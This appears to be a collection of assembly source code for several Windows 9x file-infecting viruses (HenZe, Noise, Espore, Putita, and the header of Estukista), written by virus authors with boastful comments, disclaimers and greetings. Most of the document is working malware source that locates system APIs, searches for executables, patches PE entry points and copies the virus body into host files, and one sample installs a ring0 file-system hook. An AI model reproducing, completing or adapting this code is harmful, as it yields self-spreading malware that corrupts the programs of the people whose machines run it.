iMaxUpdDg dw 0
lpVendorInfo dd 0
WSADATA ends

; Some nice equs

; what version of winsock do you need? (usually 1.1)


VERSION1_0 equ 0100h
VERSION1_1 equ 0101h
VERSION2_0 equ 0200h

AF_UNIX equ 1 ; local host


AF_INET equ 2 ; internet (most used)
AF_IMPLINK equ 3 ; arpanet
AF_NETBIOS equ 17 ; NetBios style addresses

; types of sockets
SOCK_STREAM equ 1 ; stream (connection oriented; telnet like)
SOCK_DGRAM equ 2 ; datagram (packets, packets, packets)

; protocol
PCL_NONE equ 0 ; none (define the protocol not needed)

SOCKET_ERR equ -1 ; standard winsock error

HOSTENT_IP equ 10h ; where is the IP into the hostent struct


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[WSOCKS.INC]ÄÄÄ
;---------------------------- W95 HenZe BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;

.586P
.MODEL FLAT
LOCALS

EXTRN ExitProcess:PROC

KERNEL95 EQU 0BFF70000h


MIX_SIZ EQU FILE_END-MEGAMIX
MIX_MEM EQU MEM_END-MEGAMIX
NABLA EQU DELTA-MEGAMIX
MARKA EQU 66
FLAGZ EQU 00000020H OR 20000000H OR 80000000H
MAX_PATH EQU 260

MACROSIZE MACRO

DB MIX_SIZ/01000 mod 10 + "0"


DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"

ENDM

; LAME W9X PARASITIC RUNTIME PADDINGX OVERWRITER


; INFECTED FILES WONT GROW, BUT NEED PADDINGX SERIES (USSUALLY AT RELOC SECTION)

; MOV \
; CALL \
; JNZ \ ONLY SIX OPCODES WERE USED.. xDDD
; ADD /
; SUB /
; CMP /

; AND NO INDEXING MODE (EASY DISASM CODE)

;MOV EAX,[EBP+5]

;TURNS INTO:

; ADD EBP,5
; MOV EAX,[EBP]

;AND SO...

; *INFINITE* THX TO T00FiC FOR THE REDUCED OPCODE SET IDEA AND

; SEVERAL META TIPS

.DATA

copyrisgt DB 'HenZe '


MACROSIZE
.CODE

; BIZARRE VIRUS BEGINS...


MEGAMIX:

MOV EAX, 401005H


MILO EQU $-4
DELTA:
MOV EBP,EAX
WINES:
MOV EAX,KERNEL95
MOV CL,'M'
CMP BYTE PTR [EAX],CL
JNZ WARNING
MOV EBX,EAX
MOV EDX,02b226A57h ; GPA SIGNATURE FOR W9X

BUSCA3:
ADD EAX,1
CMP DWORD PTR [EAX],EDX
JNZ SHORT BUSCA3
APIZ:

MOV ECX,OFFSET GPA


ADD ECX,EBP
SUB ECX,OFFSET DELTA
MOV [ECX],EAX
MOV ESI, OFFSET APIs
ADD ESI,EBP
SUB ESI,OFFSET DELTA
MOV EDI,OFFSET APIaddresses
ADD EDI,EBP
SUB EDI,OFFSET DELTA

GPI: SUB ESP,4


MOV [ESP],ESI
SUB ESP,4
MOV [ESP],EBX
MOV ECX,OFFSET GPA
ADD ECX,EBP
SUB ECX,OFFSET DELTA
CALL [ECX]

MOV [EDI],EAX
ADD EDI,4

NPI:
MOV AL,BYTE PTR [ESI]
ADD ESI,1

CMP AL,0
JNZ SHORT NPI
CMP [ESI], AL
JNZ GPI

INFECT:
MOV EAX, OFFSET Win32FindData
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX,OFFSET IMASK
ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX,OFFSET FindFirstFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
MOV EBX, OFFSET SearcHandle
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX

LOOPER:
CMP EAX,-1
JNZ SUPPER

WARNING:

MOV EAX,12345678H
ORG $-4
OLD_EIP DD 00401000H
ADD ESP,4
CALL EAX ; SUXXX!!! I DONT WANT TO WASTE JMP HERE

SUPPER:

CMP EAX,0
JNZ ALLKEY
PILLE:
CMP ESP,0 ; ESP NEVER IS ZERO
JNZ WARNING

ALLKEY:

SUB ESP,4
MOV EAX,OFFSET OLD_EIP
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV EBX,[EAX]
MOV [ESP],EBX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],00000080h
SUB ESP,4
MOV [ESP],3
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],0C0000000h

MOV EAX ,offset FNAME ; OPEN IT!


ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CreateFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]

MOV EBX,OFFSET FileHandle


ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV [EBX],EAX ; SAVE HNDL
MOV EBX,OFFSET WFD_nFileSizeLow
ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV ECX, [EBX]

MOV EDX,0
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],ECX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],4H
SUB ESP,4
MOV [ESP],EDX

SUB ESP,4
MOV EBX,OFFSET FileHandle
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV ECX,[EBX]
MOV [ESP],ECX
MOV EAX, OFFSET CreateFileMappingA
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]

MOV EBX,OFFSET MapHandle


ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV [EBX],EAX

MOV EBX,OFFSET WFD_nFileSizeLow


ADD EBX,EBP
SUB EBX, OFFSET DELTA
MOV ECX, [EBX]

MOV EDX,0
SUB ESP,4
MOV [ESP],ECX
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV [ESP],EDX
ADD EDX,2
SUB ESP,4
MOV [ESP],EDX
SUB ESP,4
MOV ECX, OFFSET MapHandle
ADD ECX,EBP
SUB ECX,OFFSET DELTA
MOV EBX,[ECX]
MOV [ESP],EBX
MOV EBX, OFFSET MapViewOfFile
ADD EBX,EBP
SUB EBX,OFFSET DELTA
CALL [EBX]

MOV EBX,OFFSET MapAddress


ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
MOV ESI,EAX ; GET PE HDR
MOV EDX,EAX
ADD EAX,3CH
MOV ESI,[EAX]
ADD ESI,EDX
CMP BYTE PTR [ESI],"P" ; IS A 'P'E ?
JNZ Cerrar
ADD ESI,MARKA
CMP BYTE PTR [ESI],"H" ; HenKy IS HERE ?
JNZ Cerrar1
CMP ESP,0
JNZ Cerrar

Cerrar1:
SUB ESI,MARKA
MOV EBX,ESI
ADD EBX,3CH
MOV EAX,[EBX] ; ONLY SOME W98 HAVE 1000H/1000H INSTEAD 1000H/200H
MOV ECX,ESI
ADD ECX,56
CMP EAX,[ECX]
JNZ Cerrar

SUB ESP,4
MOV [ESP],ESI
MOV ECX,0
MOV EDI,ESI
ADD EDI,6
MOV CL,BYTE PTR [EDI]
ADD EDI,74H-6
MOV EBX,[EDI]
ADD EBX,EBX
ADD EBX,EBX
ADD EBX,EBX
ADD ESI,78H
ADD ESI,EBX
ADD ESI,24H
WRI:
MOV DWORD PTR [ESI], 0C0000040h
ADD ESI,40
SUB ECX,1
CMP ECX,0
JNZ WRI

MOV ESI,[ESP]
ADD ESP,4

MOV EDI,ESI
ADD ESI,28H
MOV EAX,[ESI]
ADD ESI,34H-28H
ADD EAX,[ESI]
MOV ECX,[ESI]
MOV EDX,OFFSET BASE
ADD EDX,EBP
SUB EDX,OFFSET DELTA
MOV [EDX],ECX
MOV EBX,OFFSET OLD_EIP
ADD EBX,EBP
SUB EBX,OFFSET DELTA
MOV [EBX],EAX
MOV ESI,EDI
ADD ESI,MARKA
MOV BYTE PTR [ESI],"H" ; HenKy!
MOV EAX,OFFSET WFD_nFileSizeLow
ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV ECX,[EAX]
MOV EAX,EDI
BU:
CMP DWORD PTR [EDI], 'XGNI'
JNZ PE
CMP ESP,0
JNZ PO

PE:
ADD EDI,1
SUB ECX,1
CMP ECX,0
JNZ BU
CMP ESP,0
JNZ Cerrar

PO:
MOV ESI,EDI
ADD ESI,4
CMP DWORD PTR [ESI], 'DAPX'
JNZ PE
SUB ESP,4
MOV [ESP],EDI
MOV EBX,OFFSET MapAddress
ADD EBX,EBP
SUB EBX,OFFSET DELTA
SUB EDI,[EBX]
ADD EAX,28H
MOV [EAX],EDI
MOV EBX,OFFSET BASE
ADD EBX,EBP
SUB EBX,OFFSET DELTA
ADD EDI,[EBX]
ADD EDI,5
MOV EDX,OFFSET MILO
ADD EDX,EBP
SUB EDX,OFFSET DELTA
MOV [EDX],EDI

MOV EDI,[ESP]
ADD ESP,4

MOV ESI,OFFSET MEGAMIX


ADD ESI,EBP
SUB ESI,OFFSET DELTA
MOV ECX,MIX_SIZ/4
BASTARDO_VIRUS:

MOV EAX,[ESI]
MOV [EDI],EAX
ADD ESI,4
ADD EDI,4
SUB ECX,1
CMP ECX,0
JNZ BASTARDO_VIRUS

UnMapFile:

MOV EAX, OFFSET MapAddress


ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET UnmapViewOfFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]

CloseMap:

MOV EAX, OFFSET MapHandle


ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CloseHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]

Cerrar:

MOV EAX,OFFSET OLD_EIP


ADD EAX,EBP
SUB EAX,OFFSET DELTA
MOV EBX,[ESP]
MOV [EAX],EBX
ADD ESP,4

MOV EAX, OFFSET FileHandle


ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET CloseHandle
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]

TOPO:

MOV EAX, offset Win32FindData


ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX

MOV EAX, OFFSET SearcHandle


ADD EAX,EBP
SUB EAX,OFFSET DELTA
SUB ESP,4
MOV [ESP],EAX
MOV EAX, OFFSET FindNextFile
ADD EAX,EBP
SUB EAX,OFFSET DELTA
CALL [EAX]
CMP ESP,0
JNZ LOOPER

APIs:
DB "CreateFileA",0
DB "CloseHandle",0
DB "FindFirstFileA",0
DB "FindNextFileA",0
DB "MapViewOfFile",0
DB "UnmapViewOfFile",0
DB "CreateFileMappingA",0
Zero_ DB 0
BASE DD 0

IMASK DB '*.ExE',0
DB 'HenZe LameVirus BY HenKy',0

align 4

FILE_END LABEL BYTE

APIaddresses:

CreateFile DD 0
CloseHandle DD 0
FindFirstFile DD 0
FindNextFile DD 0
MapViewOfFile DD 0
UnmapViewOfFile DD 0
CreateFileMappingA DD 0
GPA DD 0
SearcHandle DD 0
FileHandle DD 0
MapHandle DD 0
MapAddress DD 0

FILETIME STRUC

FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?

FILETIME ENDS

Win32FindData:

WFD_dwFileAttributes DD ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh DD ?
WFD_nFileSizeLow DD ?
WFD_dwReserved0 DD ?
WFD_dwReserved1 DD ?
FNAME DD 0
DD 0
DD 0
DD 0
DD 0
DD 0
align 4

MEM_END LABEL BYTE

EXITPROC:

PUSH 0
CALL ExitProcess

ENDS
END MEGAMIX
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; Noise ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . I started to code an i-worm and i wanted to make something like a
; ring0 stealth routine for it. Then i realized: i did a ring0 virus heh
; The name is due the little payload it has... that does realy noise!
; That's my first ring0 virus. I don't like codin ring0, but here it is.
; That's a research spezimen. Don't expect the ultimate ring0 virus...
; Only 414 bytes, that's less than MiniR3 (aka Win95.Rinim).
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . This is the source code of a VIRUS. The author is not responsabile
; of any damage that may occur due to the assembly of this file. Use
; it at your own risk.
;
; ÚÄÄÄÄÄÄÄÄÄÄ¿
; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÙ
; . Ring0 resident win9x virus (thus coz the way it uses to get ring0 is
; only for win9x, not nt not w2k).
; . It infect in similar way like MiniR3 does. Uses free space in the
; PE header. That's a cavity virus.
; . All the data is INSIDE the code. Well... copyright is not inside :)
; . It infects PE files in the user buffer when a write call is done.
; That makes this virus not very efficient spreading.
; . It has a kewl sound payload. Makes echo with internal speaker for
; all disk operations ;)
;
; Greetz to Perikles for his tests ;) You're my best tester, you know...
;
;
; The way of the bee
;
.486p
locals
.model flat,STDCALL

extrn ExitProcess:PROC

VxDCall macro vxd,service


db 0cdh,20h
dw service
dw vxd
endm

IFSMANAGER equ 40h

GETHEAP equ 0dh


IFSAPIHOOK equ 67h

VSIZE equ vEnd-vBegin


VSIZEROUND equ ((VSIZE/1024)+1)*1024

.DATA
; dummy data
db 'WARNING - This is a virus carrier - WARNING'

.CODE
inicio:
mov eax,VSIZE

vBegin label byte


pushad
mov al,byte ptr [esp+23h]
sub esp,8
mov ebp,esp

cmp al,0bfh
jne NotWin9x

sidt qword ptr [ebp]


mov esi,dword ptr [ebp+2]
add esi,3*8
push esi
mov di,word ptr [esi+6]
shl edi,10h
mov di,word ptr [esi]
push edi
call @delta
@deltaoffset:
cpright db 'Bbbee/29a@Noise'
@delta:
pop eax
sub eax,(offset @deltaoffset-offset ring0CodeInstaller)
mov word ptr [esi],ax
shr eax,10h
mov word ptr [esi+6],ax
int 3h

pop edi
pop esi
mov word ptr [esi],di
shr edi,10h
mov word ptr [esi+6],di

NotWin9x:
add esp,8
popad

push offset fakeHost


hostEP equ $-4
ret

ring0CodeInstaller:
pushad

mov ebp,0bff70000h
sub ebp,dword ptr [ebp]
jz ReturnR3

push VSIZEROUND
VxDCall IFSMANAGER,GETHEAP
pop edi
or eax,eax
jz ReturnR3

mov edi,eax
call @@delta
@@delta:
pop esi
sub esi,(offset @@delta-offset vBegin)
mov ecx,VSIZE
rep movsb

mov dword ptr [delta-vBegin+eax],eax

push eax
add eax,offset ring0Hook-offset vBegin
push eax
VxDCall IFSMANAGER,IFSAPIHOOK
pop ebp
pop edx
mov dword ptr [edx+nextHookInChain-vBegin],eax

mov ebp,0bff70000h
mov dword ptr [ebp],ebp

ReturnR3:
popad
iretd

ring0Hook:
pop eax
push ebp
mov ebp,12345678h
delta equ $-4
mov dword ptr [returnAddr-vBegin+ebp],eax
push edx
mov edx,esp

pushad
pushfd

mov ecx,0ffh
counter equ $-4
dec cl
jz beep

mov ecx,dword ptr [edx+0ch]


dec ecx
jz checkFile

exitHook:
popfd
popad
pop edx
pop ebp

mov eax,12345678h
nextHookInChain equ $-4
call dword ptr [eax]

push 12345678h
returnAddr equ $-4
ret

checkFile:
mov esi,dword ptr [edx+1ch]

mov cx,word ptr [esi]


cmp ecx,VSIZEROUND
jb exitHook

mov edi,dword ptr [esi+14h]

mov ebx,edi
cmp word ptr [edi],'ZM'
jne exitHook
cmp ecx,dword ptr [edi+3ch]
jb exitHook
add edi,dword ptr [edi+3ch]
cmp word ptr [edi],'EP'
jne exitHook

mov edx,dword ptr [edi+16h]


test edx,2h
jz exitHook
and edx,2000h
jnz exitHook
mov dx,word ptr [edi+5ch]
dec edx
jz exitHook

mov esi,edi
mov eax,18h
add ax,word ptr [edi+14h]
add edi,eax

movzx ecx,word ptr [esi+06h]


mov ax,28h
mul cx
add edi,eax

mov ecx,VSIZE
xor eax,eax
pushad
rep scasb
popad
jnz exitHook

add dword ptr [esi+54h],ecx

push edi
sub edi,ebx
xchg edi,dword ptr [esi+28h]
mov eax,dword ptr [esi+34h]
add edi,eax
mov dword ptr [hostEP-vBegin+ebp],edi
pop edi

mov esi,ebp
rep movsb

dec byte ptr [counter-vBegin+ebp]

jmp exitHook

beep:
dec cl
in al,61h
push ax
or al,03h
out 61h,al
mov al,0b6h
out 43h,al
mov ax,987
mov si,ax
beep_loop:
add si,100h
mov ax,si
out 42h,al
xchg al,ah
out 42h,al
loop beep_loop

pop ax
out 61h,al
jmp exitHook

vEnd label byte

fakeHost:
push 0h
call ExitProcess
Ends
End inicio
;---------------------------- W95 ESPORE BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;

; WOW!!!! 140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT)

; OF COURSE MIDFILE AND NO GROWING CAVITY TECH

; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-)

; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ

; PRIVILEGES

; THE BFF712B9h ADDRESS IS THE CALL VINT21

; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL

; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL )

.386P
.MODEL FLAT
LOCALS

EXTRN ExitProcess:PROC
MIX_SIZ EQU (FILE_END - MEGAMIX)

MACROSIZE MACRO
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
.DATA
DB 'BIEN PEKEÑO BIEN... LIKE AN ESPORE... HEHEHE',0
DB ' W9X ESPORE SIZE = '
MACROSIZE

.CODE

MEGAMIX: ; EDX: BUFFER


; EAX: EIP
; ECX: BUFFER

VINT21:
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
DB 'H' ; HenKy ;P
XCHG EDI, EAX ; EDI: DELTA
MOV ESI,0C1000000H ; ESI: BUFFER
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H

;EDX: POINTER TO FNAME

MOV ECX,28500 ; LIMIT


PORK:
INC EDX
CMP WORD PTR [EDX],':C'
JE KAA
LOOP PORK
OK:
PUSH 00401000H
OLD_EIP EQU $-4
WARNING:
RET
KAA:
MOV AX, 3D02h
CALL [EDI]
XCHG EBX, EAX
PUSHAD ; SAVE ECX,EBX,EDX,EBP,EDI
CALL PHECT
POPAD
MOV AH, 3Eh
CALL [EDI]
JMP PORK

PHECT:

XOR ECX,ECX
MOV EDX, ESI
MOV AH, 3Fh
CALL R_W
MOV ECX, [ESI+3Ch]
LEA EAX, [ESI+ECX]
CMP BYTE PTR [EAX], "P"
JNE WARNING
MOV ECX,[EAX+28H]
CMP ECX, 1024
JB WARNING
PUSH EBP
ADD ECX,[EAX+34H]
MOV [EBP+OLD_EIP-MEGAMIX],ECX
MOV EDI,EAX

PORRO:
INC EDI
CMP BYTE PTR [EDI],'B' ; hehehehe
JNE PORRO
INC EDI
SUB EDI,ESI
MOV EDX,EDI
XCHG DWORD PTR [EAX+28h], EDI
LEA EDI, [ESI+EDX]
PUSH MIX_SIZ/4
POP ECX
POP EAX
PUSH EAX
XCHG ESI,EAX
REP MOVSD
POP EDI
MOV EDX, EAX
W:
MOV AH, 40h
R_W:
PUSHAD
XOR EAX,EAX
MOV AH, 42h
CDQ
CALL [EDI]
POPAD
MOV CH, 4h
CALL [EDI]
RET

ALIGN 4
FILE_END:

PUSH 0
CALL ExitProcess

END MEGAMIX
;---------------------------- W95 PUTITA BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;

; BAH.... ONLY 183 BYTES.... SMALL RING 3 VIRUS

.386P
.MODEL FLAT
LOCALS

EXTRN ExitProcess:PROC
MIX_SIZ EQU (FILE_END - MEGAMIX)

.DATA
DB '0

.CODE

MEGAMIX:

VINT21:
DD 0BFF712B9h ; MOV ECX,0C3B912F7H ;-) Z0MBiE
RETOX: RET
XCHG EDI, EAX ; EDI: DELTA
MOV ESI,0C1000000H ; ESI: BUFFER
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H

MOV AH, 2FH


CALL [EDI]

PUSH ES
PUSH EBX

PUSH DS
POP ES

MOV AH, 1Ah


LEA EDX, [ESI.DTA]
CALL [EDI]
MOV AH, 4Eh
XOR ECX,ECX
LEA EDX, [EDI+IMASK-MEGAMIX]
FF_:
CALL [EDI]
JC OK
MOV AX, 3D02h
LEA EDX, [ESI.DTA+1Eh]
CALL [EDI]

XCHG EBX, EAX


PUSHAD
CALL PHECT
POPAD
MOV AH, 3Eh
CALL [EDI]
MOV AH, 4Fh
JMP FF_
OK:
POP EDX
POP DS
MOV AH, 1Ah
CALL [EDI]

PUSH ES
POP DS

PUSH 00401000H
OLD_EIP EQU $-4
PUSH EDI
WARNING:POP EDI
RET

PHECT:
PUSH EDI
XOR ECX,ECX
MOV EDX, ESI
PUSH ESI
MOV AH, 3Fh
CALL R_W

MOV ECX, [ESI+3Ch]


LEA EAX, [ESI+ECX]

CMP BYTE PTR [EAX], "P"


JNE WARNING
CMP DWORD PTR [EAX+28h], 1024
JB WARNING

MOV ECX,[EAX+28H]
ADD ECX,[EAX+34H]
MOV [EBP+OLD_EIP-MEGAMIX],ECX
MOV EDI,EAX

PORRO:
INC EDI
CMP BYTE PTR [EDI],'B' ; hehehehe
JNE PORRO
INC EDI
POP ECX
SUB EDI,ECX
MOV EDX,EDI
XCHG DWORD PTR [EAX+28h], EDI
LEA EDI, [ESI+EDX]
PUSH MIX_SIZ/4
POP ECX
POP EAX
PUSH EAX
XCHG ESI, EAX
REP MOVSD
POP EDI
MOV EDX, EAX
W:
MOV AH, 40h
R_W:

PUSHAD
XOR EAX,EAX
MOV AH, 42h
CDQ
CALL [EDI]
POPAD
MOV CH, 4h
CALL [EDI]
RET

IMASK DB "*.ZZZ", 0
ALIGN 4
FILE_END:

SF STRUC
DB 1024 DUP(?)
DTA DB 43 DUP(?)
SF ENDS

PUSH 0
CALL ExitProcess

END MEGAMIX
;-------------------------------- W95 ESTUKISTA BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;

; VIRUS_SIZE = 126 BYTES!!!!

; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!!

; (NOT TESTED UNDER ME)

; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM

; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES

; THE BFF712B9h ADDRESS IS THE CALL VINT21

; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE

; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND

; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES)

;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING
; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST).

; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS
; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS
TOO)

; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS
; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG
WINDOZE)

; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S

;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE)

;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00 ÿÿÿÿEOT
;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57 C:\W
;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR
;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H D

; ....

;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ׂ<STX PE LSOHBS


;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01 •79 à ‚SOH
;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00 VTSOHSTXDC2 "STX ¨ PENQ
;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 SOH@VT DLE @STX @
;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00 DLE STX SOH VT
;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00 EOT FF EOT
;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00 STX EOT SOH
;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00 DLE DLE
;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dTVT ÔSOH
;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00 BS ”STX
;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ÌRVT BS
;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 DLE
;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0STX DLE
;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 À EOT
;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ À.idata
;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @STX EOT Ä
;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À

; ....

;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00 FS È
;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ À.bss
;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 PENQ ETX PENQ
;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P PBS
;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 ä
;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ À.rsrc
;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00 STX BS šSOH ä
;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @SOH @VT
;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 :SOH ~STX
